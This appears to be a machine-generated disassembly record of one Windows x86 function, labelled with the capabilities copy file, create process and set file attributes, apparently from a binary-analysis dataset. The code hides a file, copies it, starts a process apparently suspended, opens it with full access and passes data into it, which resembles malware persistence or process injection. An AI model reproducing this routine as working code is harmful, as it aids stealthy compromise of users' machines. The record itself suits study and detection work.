Function at 0x4f23d0
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x4f23d8
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x4f26e1
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x3e8
call sub.kernel32.dll_Sleep
xor eax, eax
push ebp
push 0x4f26ad
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004f1b24
mov ecx, dword [ebp - 4]
mov eax, 0x5024d4
mov edx, 0x4f26fc
call fcn.0040a924
lea eax, [ebp - 8]
call fcn.004f1f64
mov edx, dword [ebp - 8]
mov eax, 0x5024cc
call fcn.0040a018
lea edx, [ebp - 0xc]
mov eax, 0x4f271c
call fcn.00429f40
push dword [ebp - 0xc]
push 0x4f2740
lea eax, [ebp - 0x10]
call fcn.004f1f64
push dword [ebp - 0x10]
push dword [0x5024cc]
mov eax, 0x5024d8
mov edx, 4
call fcn.0040a9ac
mov dl, 1
mov eax, dword [0x5024d8]
call fcn.00421c0c
test al, al
jne 0x4f2492
lea edx, [ebp - 0x14]
mov eax, dword [0x5024d8]
call fcn.00428414
mov eax, dword [ebp - 0x14]
call fcn.00421cec
push 2
mov eax, dword [0x5024d8]
call fcn.0040a6d4
push eax
call sub.kernel32.dll_SetFileAttributesW
push dword [0x5024d8]
push 0x4f2740
push dword [0x5024cc]
push 0x4f2750
mov eax, 0x5024d8
mov edx, 4
call fcn.0040a9ac
lea eax, [ebp - 0x1c]
call fcn.004f23a4
mov eax, dword [ebp - 0x1c]
call fcn.0040a6d4
mov edx, eax
lea eax, [ebp - 0x18]
call fcn.0040a738
lea eax, [ebp - 0x18]
mov edx, 0x4f2768
call fcn.0040a8cc
mov eax, dword [ebp - 0x18]
mov dl, 1
call fcn.00421c0c
test al, al
je 0x4f2540
mov dl, 1
mov eax, dword [0x5024d8]
call fcn.00421b74
test al, al
jne 0x4f2540
push 0
mov eax, dword [0x5024d8]
call fcn.0040a6d4
push eax
lea eax, [ebp - 0x20]
call fcn.004f23a4
lea eax, [ebp - 0x20]
mov edx, 0x4f2788
call fcn.0040a8cc
mov eax, dword [ebp - 0x20]
call fcn.0040a6d4
push eax
call sub.kernel32.dll_CopyFileW
jmp 0x4f2570
push 0
mov eax, dword [0x5024d8]
call fcn.0040a6d4
push eax
lea eax, [ebp - 0x24]
call fcn.004f23a4
lea eax, [ebp - 0x24]
mov edx, 0x4f27bc
call fcn.0040a8cc
mov eax, dword [ebp - 0x24]
call fcn.0040a6d4
push eax
call sub.kernel32.dll_CopyFileW
mov eax, 0x502470
xor ecx, ecx
mov edx, 0x44
call fcn.00407778
mov dword [0x502470], 0x44
push 0x5024b4
push 0x502470
push 0
push 0
push 0x24
push 0
push 0
push 0
push 0
mov eax, dword [0x5024d8]
call fcn.0040a6d4
push eax
call sub.kernel32.dll_CreateProcessW
test eax, eax
je 0x4f26a0
xor eax, eax
push ebp
push 0x4f268f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x5024bc]
push eax
push 0
push 0x1fffff
call sub.kernel32.dll_OpenProcess
mov dword [0x5024c4], eax
push 0x4f27f0
push 0xa
mov ecx, dword [0x4ff634]
mov dl, 1
mov eax, dword [0x492d38]
call fcn.004b4580
mov dword [0x5024d0], eax
mov dl, 1
mov eax, dword [0x492a30]
call fcn.00407d04
mov dword [0x5024c8], eax
mov edx, dword [0x5024d0]
mov eax, dword [0x5024c8]
call fcn.004b42bc
push 0
push 0
mov eax, dword [0x5024c8]
call fcn.004b2084
mov eax, dword [0x5024c8]
mov edx, dword [eax + 4]
mov eax, dword [0x5024c4]
call fcn.00412bcc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f2696
mov eax, dword [0x5024b4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x5024c4]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x5024b8]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x5024c8]
call fcn.00407d34
mov eax, dword [0x5024d0]
call fcn.00407d34
mov eax, dword [0x5024c8]
mov eax, dword [eax + 4]
call fcn.00406e48
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4f23fb